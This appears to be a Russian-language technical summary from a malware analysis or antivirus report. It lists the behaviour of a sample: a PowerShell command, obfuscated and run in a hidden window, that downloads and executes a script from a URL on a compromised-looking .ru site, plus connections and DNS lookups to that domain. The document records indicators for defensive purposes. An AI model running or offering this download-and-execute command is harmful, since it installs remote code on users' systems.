Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command IEX (New-Object('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://rota-r.ru/wp-admin/css/d')
- 'ro##-r.ru':80
- 'ro##-r.ru':443
- 'ro##-r.ru':443
- DNS ASK ro##-r.ru
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command IEX (New-Object('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://rota-r.ru/wp-admin/css/d')' (со скрытым окном)